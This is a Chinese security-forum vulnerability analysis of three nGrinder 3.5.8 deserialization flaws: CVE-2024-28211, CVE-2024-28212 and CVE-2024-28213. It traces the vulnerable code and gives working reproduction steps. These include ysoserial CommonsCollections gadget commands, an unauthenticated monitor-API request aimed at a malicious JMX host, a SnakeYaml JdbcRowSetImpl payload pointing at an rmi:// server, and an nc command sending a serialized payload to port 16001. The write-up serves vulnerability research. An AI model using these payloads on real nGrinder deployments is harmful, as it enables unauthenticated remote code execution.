问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
ngrinder漏洞分析 (CVE-2024-28211|28212|28213)
漏洞分析
nGrinder是一个压力测试平台,能够同时执行脚本创建、测试执行、监控和结果报告生成器。 nGrinder 3.5.9之前版本存在安全漏洞,漏洞源于允许接受未经身份验证用户的序列化Java对象,可能允许远程攻击者通过不安全的Java对象反序列化执行任意代码。
漏洞简介 ---- nGrinder是一个压力测试平台,能够同时执行脚本创建、测试执行、监控和结果报告生成器。 nGrinder 3.5.9之前版本存在安全漏洞,漏洞源于允许接受未经身份验证用户的序列化Java对象,可能允许远程攻击者通过不安全的Java对象反序列化执行任意代码。 环境搭建 ---- 通过github下载程序war包<https://github.com/naver/ngrinder/releases/tag/ngrinder-3.5.8-20221230> 接着使用tomcat进行部署,登录tomcat管理后台,将war上传上去部署即可 访问<http://localhost:8006/>出现登录界面说明部署成功,默认账号密码为admin/admin ![image-20240722202017487.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-6fd3b5a1c10c5596a574f79faad0e874ff69fb4d.png) 接着在IDEA中开启调试,就可以调试项目了,具体可以参考下面这篇文章 <https://developer.aliyun.com/article/1129600> CVE-2024-28211 -------------- ### 分析过程 该系统的鉴权是通过@PreAuthorize来实现的,@PreAuthorize是Spring Security提供的注解之一,用于在方法执行之前进行权限验证 在org.ngrinder.agent.controller.MonitorManagerApiController控制器下存在一个getRealTimeMonitorData方法,该方法是无需鉴权的,接收一个参数ip,接着调用AopUtils.proxy(this).getAsyncSystemInfo(),port默认为13243 ![image-20240722120429518.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-897e65b08b50fcb9c8b373b569178d2b96f720e0.png) 跟进到MonitorInfoStore#getSystemInfo(),通过该方法会实例化一个MonitorClientService对象,初始化对象之后,就会调用到该对象里的init方法 ![image-20240722120749697.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-31daa26c97cc492564b3b7f580cef4f4f2ef5752.png) 在init(),实例化MBeanClinet对象,该对象中包含一个jmxurl属性,接着就会调用mBeanClient.connect()连接到jmxurl。 可以控制ip的值,创建一个恶意的jmx服务端,当程序连接到jmxurl时就会执行恶意代码,而且在环境中存在commons-collections依赖,可以利用cc链实现命令执行 ![image-20240722145003930.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-16593e9d17973a56aaf44e3fd9a45ab174c8a6e0.png) ![image-20240722121209859.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-783866c6c0291674c2c97783066e1bff2e7b0af5.png) 最终会执行到MBeanClient#connectionTimeout()里,通过JMXConnectorFactory.connect()连接到jmx服务端 ![image-20240722203430327.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-33611beda3cecaf179562098da1c5701daeb9457.png) ### 漏洞复现 利用ysoserial启动一个jmx服务端 ![image-20240722203645547.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-1f55eb1d9b84850a3d352498f3f2067e8e870d10.png) ```java java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 13243 CommonsCollections6 "calc" ``` 接着请求漏洞接口就可以看到弹出计算器 ```java GET /ngrinder-controller-3.5.8/monitor/api/state?ip=192.168.85.129 HTTP/1.1 Host: localhost:8006 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 ``` CVE-2024-28212 -------------- ### 分析过程 在FileEntryApiController#validateGithubConfig()下还存在一个SnakeYaml的反序列化漏洞,在该接口下调用了validate() ![image-20240722155441699.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-08c699a1d08fb1eb32160e82ffff173b977b158a.png) 跟进到GithubFileEntryService#validate()方法下,for循环中调用了getAllGithubConfig(),该方法下的yaml.loadAll()就存在SnakeYaml反序列化漏洞 在SnakeYaml反序列化时,可以通过!!指定反序列化的类,它和fastjson反序列化时类似,都会去调用指定类下的setter方法 ![image-20240722160828760.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-219f7fc0767f8e6e6d984649ca108f3206ecd28f.png) ![image-20240722160846618.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-f6da0fbb7eb77ed815bb7d992736fede343ce45d.png) ### 漏洞复现 ```java POST /ngrinder-controller-3.5.8/script/api/github/validate HTTP/1.1 Host: localhost:8006 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 { "content": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: rmi://192.168.85.129:13243/jmxrmi\n autoCommit: true\n" } ``` CVE-2024-28213 -------------- ### 分析过程 在启动时,ngrinder会默认在16001端口上运行一个监听器,该监听器可以接收一个序列化对象,当系统接收到该对象时会执行反序列化 在net.grinder.communication.Connector类下可以看到该类下存在一个read(),会调用objectInputStream.readObject()执行反序列化 ![image-20240722165443475.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-a52a0ed93c7cf0f7b95786f233292481c3f2eb76.png) 在Acceptor#interruptibleRun()方法下可以看到,程序会启动一个socket服务,持续监听16001端口,当接收到内容时就会调用到Acceptor.this.discriminateConnection(),而在该方法下最终又会调用到Connector.read()执行反序列化 ![image-20240722180157752.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-3cf24aec8e984e05d1f4b01d87b031df519bc7f8.png) ![image-20240722174713133.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-b6621d013243b50d39b4cb8eb237046e43ba8e20.png) 从docker-compose.yml文件里可以看出监听16001端口 ![image-20240722205427621.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-8e0a3f441b5317a8da5dc75270c14ec24e055171.png) ### 漏洞复现 通过ysoserial生成反序列化文件 ```java java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 "calc" > calc.bin ``` 通过nc将文件发送到服务端的16001端口,程序会弹出计算器 ```java nc 192.168.85.1 16001 < calc.bin ``` ![image-20240722180732705.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-76bfada1529e46e1a072b529208b774dd9386acd.png)
发表于 2024-07-29 09:40:22
阅读 ( 4252 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
kakakakaxi
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!